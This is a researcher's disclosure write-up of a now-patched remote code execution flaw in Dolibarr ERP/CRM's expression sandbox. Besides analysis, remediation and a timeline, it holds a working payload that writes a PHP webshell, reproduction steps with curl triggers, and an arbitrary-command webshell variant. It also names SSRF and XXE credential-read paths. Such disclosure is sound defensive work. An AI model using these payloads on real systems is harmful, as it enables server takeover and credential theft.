Back to blog

CVE-2026-XXXXXX — Remote Code Execution in Dolibarr ERP/CRM (dol_eval_standard sandbox bypass)

October 5, 2026 Grzegorz Tworek 12 min read

An incomplete sandbox in the dol_eval_standard() function lets an authenticated Dolibarr administrator achieve remote code execution through a malicious computed extrafield — a full eval-to-RCE chain built from three independent filter bypasses. CVSS 3.1: 9.1 (CRITICAL).

CVE-2026-XXXXXX — Remote Code Execution in Dolibarr ERP/CRM via dol_eval sandbox bypass

CVE-2026-XXXXXX — RCE via a sandbox bypass in dol_eval_standard() (Dolibarr ERP/CRM)

Responsible Disclosure: Reported to the Dolibarr security team via a GitHub Security Advisory (GHSA-5cfw-655w-vqp8), accepted by the vendor and fixed in version 23.0.3 (commit ee8ded7) before this article was published. Researcher: Grzegorz Tworek (Sec4check). If you run Dolibarr, update your instance to 23.0.3 or later.

Summary

During independent security research I identified a Remote Code Execution vulnerability in Dolibarr ERP/CRM. The problem lies in an incomplete sandbox in the dol_eval_standard() function (core/lib/functions.lib.php), which evaluates the expressions of so-called computed extrafields — calculated fields defined by an administrator. An authenticated administrator can craft a malicious expression that bypasses the security filter and leads to arbitrary PHP code execution on the server.

Although setting up the field requires administrator privileges, the code executes in the context of every user who opens the affected record. A malicious or compromised administrator therefore obtains persistent RCE across the entire server, with potential for lateral movement via credential theft. Hence the Scope: Changed classification and a rating of CVSS 3.1: 9.1 (CRITICAL).

CVE IDCVE-2026-XXXXXX — assignment in progress (MITRE CNA-LR)
GHSAGHSA-5cfw-655w-vqp8
TypeCWE-94: Improper Control of Generation of Code (Code Injection)
ProductDolibarr ERP/CRM
Affected versions≤ 23.0.0 (confirmed on 23.0.0; likely all versions using the default whitelist path)
Componentdol_eval_standard() in core/lib/functions.lib.php
Attack vectorNetwork (authenticated)
Privileges requiredHigh — administrator account
User interactionNone for the write itself; execution occurs when any user opens the record
CVSS 3.19.1 CRITICAL
CVSS vectorAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
StatusFixed by the vendor in Dolibarr 23.0.3 (commit ee8ded7)

Technical analysis

Dolibarr lets you define computed extrafields — fields whose value is calculated from a PHP expression evaluated by dol_eval() → dol_eval_standard(). To limit the risk, the function implements a regex-based sandbox (the "whitelist" path). The vulnerability is three independent bypasses of that sandbox which, combined, yield a full eval-to-RCE chain.

Bypass 1 — unrestricted class instantiation (line 12283)

The whitelist path allows new ClassName() for any class, blocking only ReflectionFunction:

if (!preg_match('/new ([A-Z][\w]+)/i', $m, $reg)) { // whitelist check... } else { if ($reg[1] == 'ReflectionFunction') { // only this class is blocked return 'Bad string syntax...'; } }

This allows instantiating dangerous built-in classes: PDO, SimpleXMLElement, SQLite3, SplFileObject.

Bypass 2 — callable array syntax evades the function whitelist (line 12271)

The whitelist regex /([\s\w\'\]\"]+)\(/ detects function/method calls by matching the text before (. However, PHP's callable array syntax ([$object, "method"])() places a ) right before ( — and ) is not in the character class [\s\w\'\]\"]. The call is invisible to the whitelist check.

Additionally, the $forbiddenphpstrings array containing )( (line 12195) is only enforced on the blacklist path (inside if (empty($dolibarr_main_restrict_eval_methods))), not on the default whitelist path. This allows calling arbitrary methods on instantiated objects: ([$pdo, "exec"])("SQL").

Bypass 3 — SQLite char() avoids the "<" character restriction (line 12120)

The sandbox blocks < followed by a non-whitespace character to prevent HTML/PHP tags. SQLite's char() function constructs the <?php string from integer character codes at the database level, so the literal < never appears in the evaluated expression.

Full chain

The three bypasses combine into a single expression that creates a SQLite database file with a .php extension in the webroot, whose bytes contain the literal <?php system('id');?> (produced by SQLite's char()/hex). When the file is accessed over HTTP, PHP's parser finds the <?php tag and executes the embedded code:

($var1 = new PDO("sqlite:/var/www/html/custom/0.php")) && ([$var1, "exec"])("CREATE TABLE IF NOT EXISTS x AS SELECT X'3C3F7068702073797374656D2827696427293B3F3E'")

The blob X'3C3F...3E' encodes <?php system('id');?> and avoids parentheses inside the SQL string (which the whitelist regex would catch).

Reproduction steps

  1. Dolibarr 23.0.0, default configuration, administrator account; the htdocs/custom/ directory must be writable by the web server (default).
  2. Enable a module with extrafields support (e.g. Third Parties): Home → Setup → Modules/Applications.
  3. Create a computed extrafield with a harmless value (/societe/admin/societe_extrafields.php → New attribute): code rcetest, type Varchar, Computed value = 1 + 1. Save.
  4. Edit the attribute and change Computed value to the RCE chain payload (which creates /var/www/html/custom/0.php). The payload passes the nohtml GETPOST filter and is stored in the database.
  5. Open any Third Party record — the computed extrafield is evaluated via dol_eval() → eval(), creating the webshell file.
  6. Run: curl http://TARGET/custom/0.php.

Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data) — system('id') executes as the web server user, confirming RCE. The filename must have a digit immediately before the dot (e.g. 0.php) to bypass the "dot-between-non-numbers" check.

Variant — arbitrary command execution

Swapping the blob for <?php system($_GET['c']);?> yields a full webshell: curl "http://TARGET/custom/0.php?c=whoami".

Impact assessment

Remote Code Execution

Arbitrary PHP execution as the web server user (www-data/apache) — full control over the application and server.

SSRF

The class-instantiation bypass alone (new SimpleXMLElement("http://...", 0, true)) forces outbound requests to internal networks and cloud metadata (169.254.169.254).

Arbitrary File Read (XXE)

Combined with an attacker-controlled XML server — reading arbitrary files, including conf/conf.php with database credentials. No webshell write needed.

Persistence and escalation

The computed field runs on every record view by any user — persistent RCE. A compromised admin account equals full server compromise.

CVSS 3.1 — detailed scoring

MetricValue
Attack VectorNetwork — exploited through the web application
Attack ComplexityLow — no special conditions
Privileges RequiredHigh — administrator account required
User InteractionNone — execution on ordinary record viewing
ScopeChanged — code runs in the context of other users and the whole server
Confidentiality / Integrity / AvailabilityHigh / High / High — full compromise

CVSS 3.1 Score: 9.1 (CRITICAL)
Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Recommended remediation

Applied / recommended fixes:

  1. Block all dangerous built-in classes on the whitelist path, not just ReflectionFunction — maintain an explicit allowlist of safe classes (Dolibarr business objects).
  2. Check )( on the whitelist path too — move the $forbiddenphpstrings check before the if/else split so it applies universally.
  3. Block char( and other SQL/encoding functions that can construct dangerous strings at runtime.
  4. Consider AST-based analysis (e.g. token_get_all() from dol_eval_new) instead of regex filtering.

The vendor addressed the issue in Dolibarr 23.0.3 (commit ee8ded7 for bypasses 1 and 3; bypass 2 had already been blocked by an earlier change).

Disclosure timeline

DateEvent
2026-03-26Vulnerability discovered and PoC confirmed
2026-03-28Reported via GitHub Security Advisory (GHSA-5cfw-655w-vqp8)
2026-03-29Vendor accepted the report
2026-05-28Fix released (Dolibarr 23.0.3, commit ee8ded7); advisory closed
2026-10-05Article published and CVE registered as a third party (MITRE CNA-LR)

Conclusions

This case shows why a regex-based sandbox is brittle. The filter blocked individual, "obvious" patterns (one class, one character, one string) but missed entire families of equivalent constructs: other dangerous classes, alternative call syntax, and database-side string construction. Worse, some checks only applied on one of two paths (blacklist vs whitelist) — an inconsistency that is itself a bypass.

  • Deny-lists don't scale for eval. If you evaluate expressions, only an explicit allowlist of operations is safe — not a blacklist of "bad" patterns.
  • Path consistency. A check enforced on one branch and skipped on another is a classic source of bypasses.
  • Syntax has many forms. A regex matching "a function call" didn't account for callable arrays — an attacker will always find an equivalent construct outside the pattern.
  • Layer boundaries. A PHP-level restriction (<) doesn't help when the string is built at the SQLite level — filter where the data actually materializes.

Key takeaway: any function that ultimately calls eval() is a trust boundary — no matter how "restricted" the sandbox looks. Regex filtering provides a false sense of security; the real barrier is an allowlist, or not using eval at all.

Looking for vulnerabilities in your application?

As an independent security researcher and penetration tester, I help organizations identify and eliminate vulnerabilities before attackers do. I offer professional web application penetration testing aligned with OWASP ASVS.

Book a free consultation
Back to blog